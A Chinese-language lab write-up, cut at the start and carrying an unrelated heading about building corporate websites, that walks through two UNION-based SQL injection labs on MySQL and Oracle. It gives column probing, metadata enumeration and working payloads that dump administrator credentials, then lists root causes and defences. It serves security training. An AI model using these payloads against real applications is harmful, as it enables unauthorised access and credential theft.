企业官网建设流程全解析

断列数，最后把数据库中的结构信息回显到页面里。

但它们的数据库环境并不一样：一题侧重 MySQL，另一题侧重 Oracle。正因为如此，注释符、系统视图这些细节会有差别，所以我把这两个 LAB 放在一起来分享，也顺便做个对比。

LAB5描述

LAB6描述

【本篇目标】

1. 先用 MySQL 题目演示一下，我是怎么从列数探测一路做到字段枚举，最后拿到 administrator 的密码并登录的。
2. 再补一段 Oracle 分支，看看同样的题目在 Oracle 中换一种思路是怎样的。
   一、先记住这类题的通用思路
   这类 UNION 注入题的主线其实不复杂，我一般会把它概括成四步：

确认注入点，通常是一个看起来普通的分类参数。
通过 ORDER BY n 判断原查询有几列。
用 NULL 对齐列数，再尝试把敏感数据带到可回显的列里。
根据数据库类型调整注释符和系统函数。
如果把这四步牢牢记住，后面再看到相似题型时，基本就是在切换数据库语法，而不是重新发明一套打法。

二、MySQL 分支：通过列名拿到密码
LAB主页

LAB登录界面

先看 MySQL 这道题。页面上的注入点仍然是 /filter?category=…，我先把后端查询大致推测出来：

SELECT * FROM products WHERE category = ‘Gifts’
2.1 探测列数
为了让 UNION 语句成立，我得先知道原查询有几列。这里我用 ORDER BY n 逐步测试：

’ ORDER BY 1–
’ ORDER BY 2–
’ ORDER BY 3–
Burp Suite 抓取结果2

当 ORDER BY 3 报错时，就说明原查询只有 2 列。这一步是后面所有 UNION 注入的前提。

【注释符提醒】
MySQL 中 – 后面要保留空格；如果在 URL 里直接用，记得把空格写成 + 或 %20。
本篇后续示例统一用 – 书写，方便阅读。
2.2 从信息架构里找字段
这道题的核心不是直接猜表名，而是先枚举数据库元数据。information_schema.columns 里面保存了列名信息，所以我先拿它来找用户名和密码字段：

Burp Suite 抓取结果3

SELECT * FROM products WHERE category = ‘’ UNION SELECT NULL, column_name FROM information_schema.columns –
筛选结果里会出现两个很显眼的字段：username_vadgwn 和 password_txeztd。

2.3 反查表名
拿到列名之后，我再反查它们来自哪个表：

SELECT * FROM products WHERE category = ‘’ UNION SELECT NULL, table_name FROM information_schema.columns WHERE column_name = ‘username_vadgwn’ –
SELECT * FROM products WHERE category = ‘’ UNION SELECT NULL, table_name FROM information_schema.columns WHERE column_name = ‘password_txeztd’ –
Burp Suite 抓取结果4

Burp Suite 抓取结果5

两次查询都指向同一个表 users_teluls，说明凭据都存放在这里。

2.4 回显用户名和密码
既然已经确认表名，我就可以把用户名和密码直接拼到 UNION 结果里：

SELECT * FROM products WHERE category = ‘’ UNION SELECT username_vadgwn, password_txeztd FROM users_teluls –
最终请求可以写成：

GET /filter?category=’ UNION SELECT username_vadgwn,password_txeztd FROM users_teluls --+ HTTP/2
Burp Suite 抓取结果6

把回显结果中的 administrator 密码填回登录页，就能直接通过认证。

攻击成功

【MySQL 分支 Payload】
’ UNION SELECT username_vadgwn,password_txeztd FROM users_teluls –
三、Oracle 分支：通过表名拿到密码
Oracle 题和上面的 MySQL 题思路几乎相同，不过我想换一种方法，也就是先查表名，再通过列名来验证是否为正确目标。

3.1 查询表名
在 MySQL 中，我们是通过“人肉扫描”的办法来寻找可疑项的；这一次我打算改成用 LIKE 搭配通配符来做模糊搜索。

还有一点要注意的是大小写问题。为了防止大小写不一致导致查询结果缺失，这里我用了一个 upper 函数把 table_name 转成大写，这样搜索时就不会区分大小写了。

SELECT * FROM products WHERE category = ‘’ UNION SELECT NULL, table_name FROM all_tables WHERE upper(table_name) LIKE ‘%USER%’ –
Burp Suite 抓取结果7

通过模糊搜索表名，我找到了可疑表名 USERS_NRCXBC。

3.2 检索列名
接下来我再看一下表中的列，是不是我要找的用户名和密码。

SELECT * FROM products WHERE category = ‘’ UNION SELECT NULL, column_name FROM all_tab_columns WHERE table_name = ‘USERS_NRCXBC’ –
Burp Suite 抓取结果8

可以看到表中的列名分别为 EMAIL、PASSWORD_EBXMBT、USERNAME_MUXIWC，说明凭据确实存放在这张表里。

3.3 回显用户名和密码
确定了表名和列名之后，我就可以把用户名和密码直接拼到 UNION 结果里了：

SELECT * FROM products WHERE category = ‘’ UNION SELECT USERNAME_MUXIWC, PASSWORD_EBXMBT FROM USERS_NRCXBC –
最终请求可以写成：

GET /filter?category=’ UNION SELECT USERNAME_MUXIWC,PASSWORD_EBXMBT FROM USERS_NRCXBC --+ HTTP/2
Burp Suite 抓取结果9

把回显结果中的 administrator 密码填回登录页，就能直接通过认证。

攻击成功2

【Oracle 分支 Payload】
’ UNION SELECT USERNAME_MUXIWC,PASSWORD_EBXMBT FROM USERS_NRCXBC –
四、两者的区别
如果把这两道题放在一起看，最容易混淆的地方其实不是 UNION 的写法，而是数据库环境的切换。前面的操作步骤看起来差不多，但真正落地时，我还是得跟着数据库类型去调整注释符、系统视图和回显思路。

对比项 MySQL 分支 Oracle 分支
注释符 常用 – ，注意后面要带空格 同样可以用 – ，但更要留意 URL 编码
元数据视图 主要看 information_schema.columns 主要看 all_tables 和 all_tab_columns
查询思路 先找列名，再反查表名，最后回显用户名和密码 先模糊匹配表名，再确认列名，最后把目标字段直接拼进 UNION
所以本质上它们还是同一道类型题：先确认注入点，再判断列数，再按数据库语法去找元数据。只要把这个顺序稳住，后面换成别的数据库，也只是细节在变，思路不会变。

五、总结与防御建议
这两道实验都属于 UNION 联合查询注入，它们共同暴露出的问题也很一致：用户输入直接拼接进 SQL，错误信息被回显，数据库元数据也没有被限制。

根本成因我整理成三点：

产品类别过滤器参数被直接拼接到 SQL 语句中，未做安全处理；
应用将数据库错误直接回显给客户端，为列数探测和结构枚举提供反馈；
数据库账户和敏感表结构缺乏最小权限隔离，导致凭据或版本信息可被直接读取。
防御措施我也简单列一下：

参数化查询 —— 将 SQL 代码与用户数据彻底分离；
关闭详细错误回显 —— 生产环境屏蔽数据库报错细节，避免泄露结构信息；
限制系统元数据访问 —— 对 information_schema 等元数据视图进行访问控制；
最小权限原则 —— 数据库账户仅授予必要权限；
统一审计和告警 —— 对高频的 ORDER BY、UNION、系统视图访问行为做监控。